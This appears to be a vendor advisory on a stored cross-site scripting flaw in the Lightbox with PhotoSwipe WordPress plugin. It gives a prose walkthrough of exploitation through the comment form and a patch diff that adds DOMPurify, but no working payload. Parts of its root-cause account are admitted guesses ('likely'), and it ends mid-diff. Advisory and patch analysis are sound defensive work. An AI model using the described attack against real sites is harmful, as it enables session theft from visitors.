Published : November 27, 2026

CVE-2026-135654: Lightbox with PhotoSwipe <= 5.18.0 Unauthenticated Stored Cross-Site Scripting via Comment Link 'title' Attribute PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.18.0
Patched Version 5.19.0
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-135654: This is an unauthenticated stored cross-site scripting vulnerability in the Lightbox with PhotoSwipe WordPress plugin, affecting versions up to and including 5.18.0. The vulnerability resides in the handling of the ‘comment’ parameter, which is insufficiently sanitized and escaped before being output in the lightbox’s ‘title’ attribute. Atomic Edge research confirms a CVSS score of 7.2 and CWE-79 classification, reflecting the high impact of script execution in a victim’s browser.

The root cause is the plugin’s failure to properly sanitize user-supplied comment content when generating the lightbox markup. In the vulnerable version, the plugin directly embeds the comment text into a title attribute without adequate escaping. The diff shows that the plugin previously relied on custom JavaScript (assets/ps4/frontend.js and assets/ps5/frontend.js) to render captions and titles. These scripts constructed DOM elements using unsanitized data from the comment parameter. The patch introduces the DOMPurify library (assets/purify/purify.js) and enqueues it before the frontend script, indicating that the fix sanitizes the comment data before rendering. The vulnerable code path likely involved direct string concatenation or unsafe DOM manipulation in the frontend JavaScript that processed the comment parameter and inserted it into the title attribute without escaping.

Exploitation is straightforward: an unauthenticated attacker submits a comment to a WordPress post containing a malicious payload in the comment text, such as a script tag or an event handler (e.g., ). By default, WordPress holds first-time commenters for moderation; once an administrator approves the comment, the payload is stored. When any visitor opens the lightbox for an image on that post, the plugin renders the comment as the title attribute. Due to the lack of escaping, the script executes in the visitor’s browser. The attacker does not need further interaction after the initial approval. The attack vector is the standard WordPress comment submission form (typically POST to /wp-comments-post.php) with the ‘comment’ parameter containing the payload.

The patch addresses the vulnerability by integrating DOMPurify, a client-side sanitization library, into the frontend script bundle. As shown in the diff, build.php now includes assets/purify/purify.js in the minified frontend script for PhotoSwipe 5. Correspondingly, LightboxPhotoSwipe.php enqueues a separate ‘lbwps-purify’ script module in debug mode and includes DOMPurify in the production bundle. This ensures that any HTML content derived from comments is passed through DOMPurify before being inserted into the DOM, stripping malicious scripts and event handlers. The patch also removes the legacy PhotoSwipe 4 code paths, which likely had similar issues.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of any user’s browser when they view the affected post and open the lightbox. This can lead to session hijacking, theft of sensitive information (including authentication cookies), defacement, or redirection to malicious sites. Since the attacker does not need authentication beyond submitting a comment (which requires administrator approval only once), the vulnerability is easily weaponized and has a wide reach. Atomic Edge assesses the impact as high, given the potential for mass compromise of site visitors.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/lightbox-photoswipe/build.php
+++ b/lightbox-photoswipe/build.php
@@ -11,11 +11,11 @@
     $version = explode('.', PHP_VERSION);
     define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
 }
-if (PHP_VERSION_ID < 70400) {
+if (PHP_VERSION_ID < 80300) {
     echo "=================================================================n";
     echo "Warning! You are using a very old PHP version!n";
     echo "This is no supported any may cause errors or unpredicted results!n";
-    echo "Please use at least PHP 7.4!n";
+    echo "Please use at least PHP 8.3!n";
     echo "=================================================================n";
 }

@@ -32,18 +32,11 @@
         // Frontend script:
         // Combine all frontend scripts to one minified file

-        echo "Building frontend script (PhotoSwipe 4)n";
-
-        $minifyJs = new MinifyJS();
-        $minifyJs->add('assets/ps4/lib/photoswipe.js');
-        $minifyJs->add('assets/ps4/lib/photoswipe-ui-default.js');
-        $minifyJs->add('assets/ps4/frontend.js');
-        $minifyJs->minify('assets/ps4/frontend.min.js');
-
-        echo "Building frontend scripts (PhotoSwipe 5)n";
+        echo "Building frontend scripts for PhotoSwipe 5n";

         $minifyJs = new MinifyJS();
         $minifyJs->add('assets/ps5/frontend.js');
+        $minifyJs->add('assets/purify/purify.js');
         $minifyJs->minify('assets/ps5/frontend.min.js');

         $minifyJs = new MinifyJS();
@@ -62,46 +55,6 @@
         $minifyJs->add('assets/ps5/download/photoswipe-download.esm.js');
         $minifyJs->minify('assets/ps5/download/photoswipe-download.esm.min.js');

-        // Skins:
-        // Combine all styles for each skine to one minifed file which includes all images as data URIs
-
-        $sourcePhotoswipe = file_get_contents('assets/ps4/lib/photoswipe.css');
-        echo sprintf("Building styles for PhotoSwipe 4n");
-        foreach (['classic', 'classic-solid', 'default', 'default-solid'] as $skin) {
-            $minifyCss = new MinifyCSS();
-            $source = $sourcePhotoswipe.file_get_contents(sprintf('assets/ps4/lib/skins/%s/skin.css', $skin));
-            $matches = [];
-            if (preg_match_all('/url\((.+)\)/m', $source, $matches)) {
-                $num = 0;
-                while ($num < count($matches[1])) {
-                    $fileName = $matches[1][$num];
-                    $posExt = strpos($fileName, '.');
-                    if ($posExt) {
-                        $ext = substr($fileName, $posExt + 1);
-                        switch ($ext) {
-                            case 'svg':
-                                $mimeType = 'image/svg+xml';
-                                break;
-                            default:
-                                $mimeType = 'image/'.$ext;
-                                break;
-                        }
-                        $data = sprintf(
-                            'data:%s;base64,%s',
-                            $mimeType,
-                            base64_encode(
-                                file_get_contents(sprintf('assets/ps4/lib/skins/%s/%s', $skin, $fileName))
-                            )
-                        );
-                        $source = str_replace($matches[0][$num], sprintf('url('%s')', $data), $source);
-                    }
-                    $num++;
-                }
-            }
-            $minifyCss->add($source);
-            $minifyCss->minify(sprintf('assets/ps4/styles/%s.css', $skin));
-        }
-
         // Styles for PhotoSwipe 5
         echo sprintf("Building style for PhotoSwipe 5n");

--- a/lightbox-photoswipe/lightbox-photoswipe.php
+++ b/lightbox-photoswipe/lightbox-photoswipe.php
@@ -3,7 +3,7 @@
 Plugin Name: Lightbox with PhotoSwipe
 Plugin URI: https://wordpress.org/plugins/lightbox-photoswipe/
 Description: Lightbox with PhotoSwipe
-Version: 5.18.0
+Version: 5.19.0
 Author: Arno Welzel
 Author URI: http://arnowelzel.de
 Text Domain: lightbox-photoswipe
--- a/lightbox-photoswipe/src/LightboxPhotoSwipe/LightboxPhotoSwipe.php
+++ b/lightbox-photoswipe/src/LightboxPhotoSwipe/LightboxPhotoSwipe.php
@@ -8,7 +8,7 @@
  */
 class LightboxPhotoSwipe
 {
-    const VERSION = '5.18.0';
+    const VERSION = '5.19.0';
     const SLUG = 'lightbox-photoswipe';
     const META_VERSION = '24';
     const CACHE_EXPIRE_IMG_DETAILS = 86400 * 7;
@@ -17,9 +17,9 @@
     const SUPPORTED_FORMATS = ['jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'webp', 'svg', 'avif'];
     const SUPPORTED_FORMATS_EXIF = ['jpg', 'jpeg', 'jpe', 'tif', 'tiff'];

-    const PHP_MINIMUM_VERSION = 80200;
+    const PHP_MINIMUM_VERSION = 80300;

-    const PHP_MINIMUM_VERSION_DISPLAY = '8.2';
+    const PHP_MINIMUM_VERSION_DISPLAY = '8.3';

     private static $instance;

@@ -139,107 +139,47 @@
             return;
         }

-        $version = apply_filters('lbwps_version', $this->optionsManager->getOption('version'), get_the_ID());
-        if (5 === (int)$version) {
-            if (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG) {
-                wp_enqueue_script_module(
-                    'lbwps-photoswipe5',
-                    sprintf('%sassets/ps5/frontend.js', $this->getPluginUrl()),
-                    [],
-                    self::VERSION
-                );
-                wp_enqueue_style(
-                    'lbwps-styles-photoswipe5-local',
-                    sprintf('%sassets/ps5/lib/photoswipe-local.css', $this->getPluginUrl()),
-                    false,
-                    self::VERSION
-                );
-                wp_enqueue_style(
-                    'lbwps-styles-photoswipe5-dynamic-caption',
-                    sprintf(
-                        '%sassets/ps5/dynamic-caption/photoswipe-dynamic-caption-plugin.css',
-                        $this->getPluginUrl()
-                    ),
-                    false,
-                    self::VERSION
-                );
-            } else {
-                wp_enqueue_script_module(
-                    'lbwps-photoswipe5',
-                    sprintf('%sassets/ps5/frontend.min.js', $this->getPluginUrl()),
-                    [],
-                    self::VERSION
-                );
-                wp_enqueue_style(
-                    'lbwps-styles-photoswipe5-main',
-                    sprintf('%sassets/ps5/styles/main.css', $this->getPluginUrl()),
-                    false,
-                    self::VERSION
-                );
-            }
+        if (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG) {
+            wp_enqueue_script_module(
+                'lbwps-purify',
+                sprintf('%sassets/purify/purify.js', $this->getPluginUrl()),
+                [],
+                self::VERSION
+            );
+            wp_enqueue_script_module(
+                'lbwps-photoswipe5',
+                sprintf('%sassets/ps5/frontend.js', $this->getPluginUrl()),
+                [],
+                self::VERSION
+            );
+            wp_enqueue_style(
+                'lbwps-styles-photoswipe5-local',
+                sprintf('%sassets/ps5/lib/photoswipe-local.css', $this->getPluginUrl()),
+                false,
+                self::VERSION
+            );
+            wp_enqueue_style(
+                'lbwps-styles-photoswipe5-dynamic-caption',
+                sprintf(
+                    '%sassets/ps5/dynamic-caption/photoswipe-dynamic-caption-plugin.css',
+                    $this->getPluginUrl()
+                ),
+                false,
+                self::VERSION
+            );
         } else {
-            if (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG) {
-                wp_enqueue_script(
-                    'lbwps-photoswipe',
-                    sprintf('%sassets/ps4/lib/photoswipe.js', $this->getPluginUrl()),
-                    [],
-                    self::VERSION
-                );
-                wp_enqueue_script(
-                    'lbwps-photoswipe-ui',
-                    sprintf('%sassets/ps4/lib/photoswipe-ui-default.js', $this->getPluginUrl()),
-                    [],
-                    self::VERSION
-                );
-                wp_enqueue_script(
-                    'lbwps',
-                    sprintf('%sassets/ps4/frontend.js', $this->getPluginUrl()),
-                    [],
-                    self::VERSION
-                );
-            } else {
-                wp_enqueue_script(
-                    'lbwps',
-                    sprintf('%sassets/ps4/frontend.min.js', $this->getPluginUrl()),
-                    [],
-                    self::VERSION
-                );
-            }
-            switch ($this->optionsManager->getOption('skin')) {
-                case '2':
-                    $skin = 'classic-solid';
-                    break;
-                case '3':
-                    $skin = 'default';
-                    break;
-                case '4':
-                    $skin = 'default-solid';
-                    break;
-                default:
-                    $skin = 'classic';
-                    break;
-            }
-            if (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG) {
-                wp_enqueue_style(
-                    'lbwps-styles-photoswipe',
-                    sprintf('%sassets/ps4/lib/photoswipe.css', $this->getPluginUrl()),
-                    false,
-                    self::VERSION
-                );
-                wp_enqueue_style(
-                    'lbwps-styles',
-                    sprintf('%sassets/ps4/lib/skins/%s/skin.css', $this->getPluginUrl(), $skin),
-                    false,
-                    self::VERSION
-                );
-            } else {
-                wp_enqueue_style(
-                    'lbwps-styles',
-                    sprintf('%sassets/ps4/styles/%s.css', $this->getPluginUrl(), $skin),
-                    false,
-                    self::VERSION
-                );
-            }
+            wp_enqueue_script_module(
+                'lbwps-photoswipe5',
+                sprintf('%sassets/ps5/frontend.min.js', $this->getPluginUrl()),
+                [],
+                self::VERSION
+            );
+            wp_enqueue_style(
+                'lbwps-styles-photoswipe5-main',
+                sprintf('%sassets/ps5/styles/main.css', $this->getPluginUrl()),
+                false,
+                self::VERSION
+            );
         }
         $this->enqueueFrontendOptions();
     }
@@ -253,17 +193,6 @@
             return;
         }

-        $version = apply_filters('lbwps_version', $this->optionsManager->getOption('version'), get_the_ID());
-        if (4 === (int)$version) {
-            ob_start();
-            include(self::BASEPATH.'templates/frontend.inc.php');
-            $footer = ob_get_clean();
-
-            $footer = apply_filters('lbwps_markup', $footer);
-            /* This must not be escaped, since the content is HTML */
-            echo $footer;
-        }
-
         if ($this->obActive) {
             $this->obActive = false;
             if (ob_get_level() === $this->obLevel) {
@@ -418,6 +347,9 @@
                 // Remove leading slash
                 $file = ltrim($file, '/');

+                // parse URL-encoded special characters, such as German umlauts, in the file name
+				$file = rawurldecode($file);
+
                 // Add local path only if the file is not an external URL
                 if (substr($file, 0, 6) != 'ftp://' &&
                     substr($file, 0, 7) != 'http://' &&
@@ -603,7 +535,7 @@
                     }
                     if ($cacheKey !== false && $this->optionsManager->getOption('use_transients')) {
                         if ($isLocal) {
-                            // Local image details will never expire as they get removed, when then file is delete
+                            // Local image details will never expire as they get removed, when then file is deleted
                             set_transient($cacheKey, $imgDetails);
                         } else {
                             // Remote image details will be added using an expiration date
@@ -1042,11 +974,6 @@
     protected function enqueueFrontendOptions()
     {
         $translation_array = [
-            'label_facebook' => __('Share on Facebook', 'lightbox-photoswipe'),
-            'label_twitter' => __('Tweet', 'lightbox-photoswipe'),
-            'label_pinterest' => __('Pin it', 'lightbox-photoswipe'),
-            'label_download' => __('Download image', 'lightbox-photoswipe'),
-            'label_copyurl' => __('Copy image URL', 'lightbox-photoswipe'),
             'label_ui_close' => __('Close [Esc]', 'lightbox-photoswipe'),
             'label_ui_zoom' => __('Zoom', 'lightbox-photoswipe'),
             'label_ui_prev' => __('Previous [←]', 'lightbox-photoswipe'),
@@ -1056,24 +983,12 @@
             'label_ui_download' => __('Download image', 'lightbox-photoswipe'),
         ];
         $boolOptions = [
-            'share_facebook',
-            'share_twitter',
-            'share_pinterest',
-            'share_download',
-            'share_direct',
-            'share_copyurl',
-            'close_on_drag',
             'history',
-            'show_counter',
             'show_fullscreen',
             'show_download',
-            'show_zoom',
             'show_caption',
             'loop',
-            'pinchtoclose',
-            'taptotoggle',
             'close_on_click',
-            'fulldesktop',
             'use_alt',
             'usecaption',
             'desktop_slider',
@@ -1081,10 +996,6 @@
         foreach($boolOptions as $boolOption) {
             $translation_array[$boolOption] = $this->optionsManager->getOption($boolOption) === '1' ? '1' : '0';
         }
-        $customLink = ('' === $this->optionsManager->getOption('share_custom_link'))?'{{raw_image_url}}':$this->optionsManager->getOption('share_custom_link');
-        $translation_array['share_custom_label'] = ($this->optionsManager->getOption('share_custom') == '1')?htmlspecialchars($this->optionsManager->getOption('share_custom_label')):'';
-        $translation_array['share_custom_link'] = ($this->optionsManager->getOption('share_custom') == '1')?htmlspecialchars($customLink):'';
-        $translation_array['wheelmode'] = htmlspecialchars($this->optionsManager->getOption('wheelmode'));
         $translation_array['spacing'] = intval($this->optionsManager->getOption('spacing'));
         $translation_array['idletime'] = intval($this->optionsManager->getOption('idletime'));
         $translation_array['hide_scrollbars'] = intval($this->optionsManager->getOption('hide_scrollbars'));
--- a/lightbox-photoswipe/src/LightboxPhotoSwipe/OptionsManager.php
+++ b/lightbox-photoswipe/src/LightboxPhotoSwipe/OptionsManager.php
@@ -10,56 +10,30 @@
 {
     const OPTIONS = [
         'db_version' => [ 'default' => '0' ],
-        'cdn_url' => [ 'default' => '' ],
+
+        // General
         'disabled_post_ids' => [ 'default' => '', 'type' => 'list' ],
-        'share_facebook' => [ 'default' => '1' ],
-        'share_twitter' => [ 'default' => '1' ],
-        'share_pinterest' => [ 'default' => '1' ],
-        'share_download' => [ 'default' => '1' ],
-        'close_on_drag' => [ 'default' => '1' ],
-        'show_counter' => [ 'default' => '1' ],
-        'skin' => [ 'default' => '3' ],
-        'spacing' => [ 'default' => '12' ],
-        'show_zoom' => [ 'default' => '1' ],
-        'show_caption' => [ 'default' => '1' ],
-        'caption_type' => [ 'default' => 'overlay' ],
-        'usepostdata' => [ 'default' => '0' ],
-        'loop' => [ 'default' => '1' ],
-        'pinchtoclose' => [ 'default' => '1' ],
+        'metabox' => [ 'default' => '1' ],
+        'disabled_post_types' => [ 'default' => '', 'type' => 'list' ],
         'show_fullscreen' => [ 'default' => '1' ],
         'show_download' => [ 'default' => '0' ],
-        'taptotoggle' => [ 'default' => '1' ],
-        'share_direct' => [ 'default' => '0' ],
-        'close_on_click' => [ 'default' => '1' ],
-        'fulldesktop' => [ 'default' => '0' ],
-        'use_alt' => [ 'default' => '0' ],
-        'showexif' => [ 'default' => '0' ],
-        'showexif_date' => [ 'default' => '0' ],
-        'showexif_lens' => [ 'default' => '0' ],
         'history' => [ 'default' => '1' ],
+        'loop' => [ 'default' => '1' ],
         'separate_galleries' => [ 'default' => '0' ],
-        'desktop_slider' => [ 'default' => '1' ],
-        'idletime' => [ 'default' => '4000' ],
-        'usedescription' => [ 'default' => '0' ],
-        'wheelmode' => [ 'default' => 'zoom' ],
-        'share_copyurl' => [ 'default' => '0' ],
-        'share_custom' => [ 'default' => '' ],
-        'share_custom_label' => [ 'default' => '' ],
-        'share_custom_link' => [ 'default' => '' ],
-        'metabox' => [ 'default' => '1' ],
-        'disabled_post_types' => [ 'default' => '', 'type' => 'list' ],
         'ignore_external' => [ 'default' => '0' ],
         'ignore_hash' => [ 'default' => '0' ],
         'hide_scrollbars' => [ 'default' => '1' ],
-        'svg_scaling' => [ 'default' => '200' ],
-        'cdn_mode' => [ 'default' => 'prefix' ],
         'fix_links' => [ 'default' => '1' ],
         'fix_scaled' => [ 'default' => '1' ],
+        'fix_attachment_links' => [ 'default' => '0' ],
         'support_multiple_domain_mapping' => [ 'default' => 1 ],
-        'usetitle' => [ 'default' => '0' ],
-        'usecaption' => [ 'default' => '1' ],
-        'usefilename' => [ 'default' => '0' ],
-        'version' => [ 'default' => '5' ],
+        'use_transients' => [ 'default' => '1' ],
+        'svg_scaling' => [ 'default' => '200' ],
+        'cdn_url' => [ 'default' => '' ],
+        'cdn_mode' => [ 'default' => 'prefix' ],
+
+        // Theme
+        'spacing' => [ 'default' => '12' ],
         'bg_opacity' => [ 'default' => '100' ],
         'padding_left' => [ 'default' => '0' ],
         'padding_top' => [ 'default' => '0' ],
@@ -67,8 +41,26 @@
         'padding_bottom' => [ 'default' => '0' ],
         'max_width' => [ 'default' => '' ],
         'max_height' => [ 'default' => '' ],
-        'use_transients' => [ 'default' => '1' ],
-        'fix_attachment_links' => [ 'default' => '0' ],
+
+        // Captions
+
+        'show_caption' => [ 'default' => '1' ],
+        'usepostdata' => [ 'default' => '0' ],
+        'usetitle' => [ 'default' => '0' ],
+        'usecaption' => [ 'default' => '1' ],
+        'usedescription' => [ 'default' => '0' ],
+        'use_alt' => [ 'default' => '0' ],
+        'usefilename' => [ 'default' => '0' ],
+        'showexif' => [ 'default' => '0' ],
+        'showexif_date' => [ 'default' => '0' ],
+        'showexif_lens' => [ 'default' => '0' ],
+        'caption_type' => [ 'default' => 'overlay' ],
+
+        // Desktop
+
+        'desktop_slider' => [ 'default' => '1' ],
+        'close_on_click' => [ 'default' => '1' ],
+        'idletime' => [ 'default' => '4000' ],
     ];

     public $options;
--- a/lightbox-photoswipe/templates/options-navigation.inc.php
+++ b/lightbox-photoswipe/templates/options-navigation.inc.php
@@ -4,7 +4,5 @@
     <a href="#" id="lbwps-switch-2" class="nav-tab" onclick="lbwpsSwitchTab(2);return false;"><?php echo esc_html__('General', 'lightbox-photoswipe'); ?></a>
     <a href="#" id="lbwps-switch-3" class="nav-tab" onclick="lbwpsSwitchTab(3);return false;"><?php echo esc_html__('Theme', 'lightbox-photoswipe'); ?></a>
     <a href="#" id="lbwps-switch-4" class="nav-tab" onclick="lbwpsSwitchTab(4);return false;"><?php echo esc_html__('Captions', 'lightbox-photoswipe'); ?></a>
-    <a href="#" id="lbwps-switch-5" class="nav-tab" onclick="lbwpsSwitchTab(5);return false;"><?php echo esc_html__('Sharing', 'lightbox-photoswipe'); ?></a>
-    <a href="#" id="lbwps-switch-6" class="nav-tab" onclick="lbwpsSwitchTab(6);return false;"><?php echo esc_html__('Desktop', 'lightbox-photoswipe'); ?></a>
-    <a href="#" id="lbwps-switch-7" class="nav-tab lbwps-ver4" onclick="lbwpsSwitchTab(7);return false;"><?php echo esc_html__('Mobile', 'lightbox-photoswipe'); ?></a>
+    <a href="#" id="lbwps-switch-5" class="nav-tab" onclick="lbwpsSwitchTab(5);return false;"><?php echo esc_html__('Desktop', 'lightbox-photoswipe'); ?></a>
 </nav>
--- a/lightbox-photoswipe/templates/options-script.inc.php
+++ b/lightbox-photoswipe/templates/options-script.inc.php
@@ -26,7 +26,7 @@
     function lbwpsSwitchTab(tab)
     {
         let num=1;
-        while (num < 8) {
+        while (num < 6) {
             if (tab == num) {
                 document.getElementById('lbwps-switch-'+num).classList.add('nav-tab-active');
                 document.getElementById('lbwps-tab-'+num).style.display = 'block';
@@ -59,38 +59,16 @@
             lbwpsSwitchTab(1);
         } else {
             let num = 1;
-            while (num < 8) {
+            while (num < 7) {
                 if (location.hash == '#tab-' + num) lbwpsSwitchTab(num);
                 num++;
             }
         }
     }

-    function lbwpsUpdateVersion()
-    {
-        let optionsV4 = document.getElementsByClassName('lbwps-ver4');
-        let optionsV5 = document.getElementsByClassName('lbwps-ver5');
-        if (document.getElementById('lightbox_photoswipe_version-0').checked) {
-            for (let i=0; i < optionsV4.length; i++) {
-                optionsV4.item(i).style.display = '';
-            }
-            for (let i=0; i < optionsV5.length; i++) {
-                optionsV5.item(i).style.display = 'none';
-            }
-        } else {
-            for (let i=0; i < optionsV5.length; i++) {
-                optionsV5.item(i).style.display = ''
-            }
-            for (let i=0; i < optionsV4.length; i++) {
-                optionsV4.item(i).style.display = 'none';
-            }
-        }
-    }
-
     lbwpsUpdateDescriptionCheck(document.getElementById("lightbox_photoswipe_show_caption"));
     lbwpsUpdateExifDateCheck(document.getElementById("lightbox_photoswipe_showexif"));
     lbwpsUpdateCurrentTab();
-    lbwpsUpdateVersion();

     window.addEventListener('popstate', (event) => {
         lbwpsUpdateCurrentTab();
@@ -101,10 +79,4 @@
     document.getElementById('lightbox_photoswipe_showexif').addEventListener('click', (event) => {
         lbwpsUpdateExifDateCheck(event.target)
     });
-    document.getElementById('lightbox_photoswipe_version-0').addEventListener('click', (event) => {
-        lbwpsUpdateVersion()
-    });
-    document.getElementById('lightbox_photoswipe_version-1').addEventListener('click', (event) => {
-        lbwpsUpdateVersion()
-    });
 </script>
--- a/lightbox-photoswipe/templates/options-tab1.inc.php
+++ b/lightbox-photoswipe/templates/options-tab1.inc.php
@@ -4,11 +4,7 @@
     <?php echo esc_html__('PHP version', 'lightbox-photoswipe'); ?>: <?php echo esc_html(phpversion()); ?><br>
     <?php echo esc_html__('Metadata version', 'lightbox-photoswipe'); ?>: <?php echo esc_html(self::META_VERSION); ?></p>
 <?php
-if(PHP_VERSION_ID < 70400) {
-?>
-    <p class="lbwps_text"><?php echo esc_html__('Warning! You are using a very old version of PHP (older than 7.4)! This is a security risk and either WordPress or this plugin may not work correctly with it. Please upgrade PHP or ask your hoster to do so!', 'lightbox-photoswipe'); ?></p>
-<?php
-} else if(PHP_VERSION_ID < self::PHP_MINIMUM_VERSION) {
+if(PHP_VERSION_ID < self::PHP_MINIMUM_VERSION) {
 ?>
     <p class="lbwps_text"><?php echo /* translators: 1: PHP version */ esc_html(sprintf(__('Warning! Your PHP is outdated (older than %s)! This may be a security risk! Please upgrade PHP or ask your hoster to do so!', 'lightbox-photoswipe'), self::PHP_MINIMUM_VERSION_DISPLAY)); ?></p>
 <?php
--- a/lightbox-photoswipe/templates/options-tab2.inc.php
+++ b/lightbox-photoswipe/templates/options-tab2.inc.php
@@ -2,15 +2,6 @@
 <table id="lbwps-tab-2" class="form-table">
     <tr>
         <th scope="row">
-            <?php echo esc_html__('PhotoSwipe version to use', 'lightbox-photoswipe'); ?>
-        </th>
-        <td>
-            <?php $this->uiControlRadio('version', ['4', '5'], [esc_html__('version 4', 'lightbox-photoswipe'), esc_html__('version 5', 'lightbox-photoswipe')], ' '); ?>
-            <p class="description"><?php echo esc_html__('The available options depend on the PhotoSwipe version. UI customizations done for version 4 may not work for version 5.', 'lightbox-photoswipe'); ?></p>
-        </td>
-    </tr>
-    <tr>
-        <th scope="row">
             <?php echo esc_html__('Excluded pages/posts', 'lightbox-photoswipe'); ?>
         </th>
         <td>
@@ -35,9 +26,7 @@
         </th>
         <td>
             <label><?php $this->uiControlCheckbox('show_fullscreen') ?> <?php echo esc_html__('Show fullscreen button', 'lightbox-photoswipe'); ?></label><br>
-            <label class="lbwps-ver5"><?php $this->uiControlCheckbox('show_download') ?> <?php echo esc_html__('Show download button', 'lightbox-photoswipe'); ?></label>
-            <label class="lbwps-ver4"><?php $this->uiControlCheckbox('show_counter') ?> <?php echo esc_html__('Show picture counter', 'lightbox-photoswipe'); ?></label><br>
-            <label class="lbwps-ver4"><?php $this->uiControlCheckbox('show_zoom') ?> <?php echo esc_html__('Show zoom button if available', 'lightbox-photoswipe'); ?></label>
+            <label><?php $this->uiControlCheckbox('show_download') ?> <?php echo esc_html__('Show download button', 'lightbox-photoswipe'); ?></label>
         </td>
     </tr>
     <tr>
--- a/lightbox-photoswipe/templates/options-tab3.inc.php
+++ b/lightbox-photoswipe/templates/options-tab3.inc.php
@@ -1,29 +1,5 @@
 <?php defined('ABSPATH') or die(); ?>
 <table id="lbwps-tab-3" class="form-table" style="display:none;">
-    <tr class="lbwps-ver4">
-        <th scope="row">
-            <?php echo esc_html__('Skin', 'lightbox-photoswipe'); ?>
-        </th>
-        <td>
-            <?php $this->uiControlRadio(
-                'skin',
-                [
-                    '1',
-                    '2',
-                    '3',
-                    '4'
-                ],
-                [
-                    esc_html__('Original', 'lightbox-photoswipe'),
-                    esc_html__('Original with solid background', 'lightbox-photoswipe'),
-                    esc_html__('New share symbol', 'lightbox-photoswipe'),
-                    esc_html__('New share symbol with solid background', 'lightbox-photoswipe'),
-                ],
-                '<br>'
-            );
-            ?>
-        </td>
-    </tr>
     <tr>
         <th scope="row">
             <?php echo esc_html__('Spacing between pictures', 'lightbox-photoswipe'); ?>
@@ -43,7 +19,7 @@
             <p class="description"><?php echo esc_html__('Space between pictures relative to screenwidth.', 'lightbox-photoswipe'); ?></p>
         </td>
     </tr>
-    <tr class="lbwps-ver5">
+    <tr>
         <th scope="row">
             <?php echo esc_html__('Background opacity', 'lightbox-photoswipe'); ?>
         </th>
@@ -62,7 +38,7 @@
             <p class="description"><?php echo esc_html__('Opacity of the background for the lightbox (values below 100% may not work well with some caption styles).', 'lightbox-photoswipe'); ?></p>
         </td>
     </tr>
-    <tr class="lbwps-ver5">
+    <tr>
         <th scope="row">
             <?php echo esc_html__('Image padding', 'lightbox-photoswipe'); ?>
         </th>
--- a/lightbox-photoswipe/templates/options-tab4.inc.php
+++ b/lightbox-photoswipe/templates/options-tab4.inc.php
@@ -31,7 +31,7 @@
             <label><?php $this->uiControlCheckbox('showexif_date'); ?> <?php echo esc_html__('Show date if available', 'lightbox-photoswipe'); ?></label>
         </td>
     </tr>
-    <tr class="lbwps-ver5">
+    <tr>
         <th scope="row">
             <?php echo esc_html__('Type of caption', 'lightbox-photoswipe'); ?>
         </th>
--- a/lightbox-photoswipe/templates/options-tab5.inc.php
+++ b/lightbox-photoswipe/templates/options-tab5.inc.php
@@ -1,46 +1,44 @@
 <?php defined('ABSPATH') or die(); ?>
 <div id="lbwps-tab-5" style="display:none;">
-    <div class="lbwps-ver4">
+    <div>
         <table class="form-table">
             <tr>
                 <th scope="row">
-                    <?php echo esc_html__('Visible sharing options', 'lightbox-photoswipe'); ?>
+                    <?php echo esc_html__('General', 'lightbox-photoswipe'); ?>
                 </th>
                 <td>
-                    <label><?php $this->uiControlCheckbox('share_facebook'); ?> <?php echo esc_html__('Share on Facebook', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('share_twitter'); ?> <?php echo esc_html__('Tweet', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('share_direct'); ?> <?php echo esc_html__('Use URL of images instead of lightbox on Facebook and Twitter', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('share_pinterest'); ?> <?php echo esc_html__('Pin it', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('share_download'); ?> <?php echo esc_html__('Download image', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('share_copyurl'); ?> <?php echo esc_html__('Copy image URL', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('share_custom'); ?> <?php echo esc_html__('Custom link', 'lightbox-photoswipe'); ?></label>
+                    <label><?php $this->uiControlCheckbox('desktop_slider'); ?> <?php echo esc_html__('Use slide animation when switching images in desktop view', 'lightbox-photoswipe'); ?></label><br>
+                    <label><?php $this->uiControlCheckbox('close_on_click'); ?> <?php echo esc_html__('Close the lightbox by clicking outside the image', 'lightbox-photoswipe'); ?></label>
                 </td>
             </tr>
             <tr>
                 <th scope="row">
-                    <?php echo esc_html__('Custom link, label', 'lightbox-photoswipe'); ?>
+                    <?php echo esc_html__('Idle time for controls', 'lightbox-photoswipe'); ?>
                 </th>
                 <td>
-                    <?php $this->uiControltext('share_custom_label', esc_html__('Your label here', 'lightbox-photoswipe')); ?>
-                </td>
-            </tr>
-            <tr>
-                <th scope="row">
-                    <?php echo esc_html__('Custom link, URL', 'lightbox-photoswipe'); ?>
-                </th>
-                <td>
-                    <?php $this->uiControltext('share_custom_link', '{{raw_image_url}}'); ?>
-                    <p class="description"><?php echo esc_html__('Placeholders for the link:', 'lightbox-photoswipe'); ?><br>
-                        {{raw_url}} – <?php echo esc_html__('URL of the lightbox', 'lightbox-photoswipe'); ?><br>
-                        {{url}} – <?php echo esc_html__('encoded URL of the lightbox', 'lightbox-photoswipe'); ?><br>
-                        {{raw_image_url}} – <?php echo esc_html__('URL of the image', 'lightbox-photoswipe'); ?><br>
-                        {{image_url}} – <?php echo esc_html__('encoded URL of the image', 'lightbox-photoswipe'); ?><br>
-                        {{text}} – <?php echo esc_html__('image caption', 'lightbox-photoswipe'); ?></p>
+                    <select id="lightbox_photoswipe_idletime" name="lightbox_photoswipe_idletime">
+                        <?php
+                        echo '<option value="0"';
+                        if ((int)$this->optionsManager->getOption('idletime') === 0) {
